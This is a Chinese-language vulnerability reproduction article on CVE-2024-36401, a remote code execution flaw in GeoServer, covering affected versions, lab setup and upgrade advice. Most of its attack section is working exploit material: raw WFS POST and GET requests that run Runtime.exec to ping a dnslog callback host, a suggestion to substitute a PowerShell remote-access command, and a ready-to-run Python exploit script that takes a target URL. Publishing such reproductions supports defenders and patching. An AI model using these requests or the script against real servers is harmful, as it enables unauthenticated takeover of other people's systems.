日期:2025年01月06日
作者:goout
介绍:GeoServer Property evalute 远程代码执行漏洞。
0x00 漏洞简介
GeoServer
是一个用 Java
编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。
GeoServer
在版本 2.23.6、2.24.4
和 2.25.2
之前,允许未经身份验证的用户通过多个 OGC
请求参数针对默认 GeoServer
安装的特别构造的输入利用代码注入漏洞,该漏洞是由于应用不安全地将属性名称作为 XPath
表达式进行评估,攻击者可以在默认安装的服务器中执行 XPath
表达式,进而利用执行 Apache Commons Jxpath
提供的功能执行任意代码。
0x01 影响版本
2.25.0 <= GeoServer < 2.25.2
0x02 环境搭建
下载链接:
https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download
下载好之后,开始安装:
java
环境,否则不能进行下一步的环境安装。8080
,可自定义:C:Program FilesGeoServerbin
,点击 startup.bat
进行启动,不要关闭 cmd
窗口:0x03 漏洞利用
3.1 dnslog 测试
post
数据包:
POST /geoserver/wfs HTTP/1.1
Host: 192.169.192.177:8999
Content-Type: application/xml
Content-Length: 334
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping ltmgz6.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
get
数据包:GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27ping%209vqg5n.dnslog.cn%27) HTTP/1.1
Host: 192.169.192.177:8999
Cookie: JSESSIONID=node01odk521suledd1lff372goa4v44.node0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3.2 权限获取
数据包内替换 powershell
上线命令:
3.3 验证脚本
import requests
import argparse
def exploit_geoserver_rce(target_url, interactsh_url, proxy_url):
headers = {
"Content-Type": "application/xml"
}
# 构造恶意的XML数据包,执行远程代码
xml_payload = f"""
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping {interactsh_url}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
"""
# 配置代理
proxies = {
"http": proxy_url,
"https": proxy_url
}
# 发送HTTP POST请求
try:
response = requests.post(target_url, headers=headers, data=xml_payload, timeout=30, proxies=proxies)
# 打印响应状态码和内容
print(f"Response status code: {response.status_code}")
print(f"Response text: {response.text}")
# 检查是否成功触发漏洞
if"dns" in response.text:
print("[+] Exploit succeeded, DNS interaction detected!")
else:
print("[-] Exploit might have failed or no DNS interaction detected.")
except requests.exceptions.RequestException as e:
print(f"Error occurred: {e}")
if __name__ == "__main__":
# 设置命令行参数解析
parser = argparse.ArgumentParser(description='Exploit GeoServer RCE (CVE-2024-36401)')
parser.add_argument('-u', '--url', required=True, help='Target URL for GeoServer WFS service')
parser.add_argument('-dns', '--interactsh', required=True, help='Interactsh DNS URL for command execution verification')
# 代理功能可根据自身习惯使用
parser.add_argument('-p', '--proxy', default='http://127.0.0.1:8083', help='Proxy URL (default: http://127.0.0.1:8080)')
# 解析命令行参数
args = parser.parse_args()
# 调用漏洞利用函数
exploit_geoserver_rce(args.url, args.interactsh, args.proxy)
0x04 修复建议
升级至最新版本:
GeoServer 2.25.* >= 2.25.2
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『漏洞复现』GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论